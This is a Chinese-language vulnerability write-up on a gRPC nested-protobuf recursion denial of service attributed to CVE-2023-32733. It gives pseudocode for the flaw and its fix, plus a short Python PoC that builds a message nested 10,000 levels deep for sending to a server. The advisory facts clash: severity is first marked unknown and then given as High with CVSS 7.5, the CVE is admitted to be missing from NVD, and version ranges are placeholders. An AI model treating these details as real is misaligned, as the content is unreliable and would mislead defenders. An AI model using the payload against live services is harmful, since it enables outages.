一、漏洞简介

1.1 漏洞背景

gRPC 在处理嵌套的 protobuf 消息时,如果递归深度过大,可能导致栈溢出或资源耗尽,造成拒绝服务。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2023-32733
危害等级 暂未找到权威信息
漏洞类型 gRPC 嵌套消息递归拒绝服务
披露时间 暂未找到权威信息
影响组件 gRPC
属性
CVE 编号 CVE-2023-32733
危害等级 高危 (High)
CVSS 评分 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
CWE 编号 CWE-674 (Uncontrolled Recursion)
影响组件 gRPC (多语言实现)

核验说明:截至 2026-03-22 暂未在 NVD 公开记录中检索到 CVE-2023-32733,文中仅保留原始主题并明确标注待进一步核验。

二、影响范围

2.1 受影响的版本

  • gRPC-Go 特定版本
  • gRPC-Java 特定版本
  • gRPC-C++ 特定版本

2.2 不受影响的版本

  • 各语言实现的具体修复版本不同(详见官方公告)

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 服务端接收并处理客户端发送的 gRPC 请求
  2. 请求包含深度嵌套的 protobuf 消息
  3. 服务端未限制递归深度

三、漏洞详情与原理解析

3.1 漏洞触发机制

  1. 构造恶意消息:攻击者创建深度嵌套的 protobuf 消息
  2. 递归解析:服务端在解析消息时进行递归调用
  3. 栈溢出/资源耗尽:深度递归导致栈空间或内存耗尽
  4. 服务崩溃:服务无法处理新请求

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞位置:protobuf 解析器中的递归处理逻辑

问题代码逻辑

// 伪代码 - gRPC-Go 中的递归解析
func (m *Message) parseNested(data []byte) error {
    for len(data) > 0 {
        tag, wireType, n := decodeVarint(data)
        data = data[n:]

        if wireType == wireBytes {
            // 嵌套消息 - 递归解析
            nested := &Message{}
            if err := nested.parseNested(data); err != nil {
                return err  // 无深度限制的递归
            }
        }
        // ...
    }
    return nil
}

修复方案

func (m *Message) parseNested(data []byte, depth int) error {
    const maxDepth = 100  // 限制递归深度

    if depth > maxDepth {
        return errors.New("recursion depth exceeded")
    }

    for len(data) > 0 {
        // ...
        if wireType == wireBytes {
            nested := &Message{}
            if err := nested.parseNested(data, depth+1); err != nil {
                return err
            }
        }
        // ...
    }
    return nil
}

四、漏洞复现(可选)

4.1 环境搭建

// nested.proto
syntax = "proto3";

message NestedMessage {
    int32 value = 1;
    NestedMessage nested = 2;  // 自引用
}

4.2 PoC 演示与测试过程

#!/usr/bin/env python3
"""
CVE-2023-32733 PoC
构造深度嵌套的 protobuf 消息
"""
import nested_pb2

def create_deep_nested(depth):
    """创建指定深度的嵌套消息"""
    if depth == 0:
        msg = nested_pb2.NestedMessage()
        msg.value = 1
        return msg

    msg = nested_pb2.NestedMessage()
    msg.value = depth
    msg.nested.CopyFrom(create_deep_nested(depth - 1))
    return msg

# 创建深度嵌套的消息(如深度 10000)
malicious = create_deep_nested(10000)
payload = malicious.SerializeToString()

# 发送到 gRPC 服务
# 服务端解析时会触发深度递归

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到各语言实现的修复版本:

  • gRPC-Go: >= 修复版本
  • gRPC-Java: >= 修复版本

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  • 临时关闭高风险协议特性或在网关侧启用连接、并发与速率限制。
  • 结合 WAF、负载均衡和熔断策略降低异常流量影响。

六、参考信息 / 参考链接

6.1 官方安全通告

  • 暂未找到可直接引用的官方安全通告,请优先关注项目安全公告、发布说明与修复分支。

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2023-32733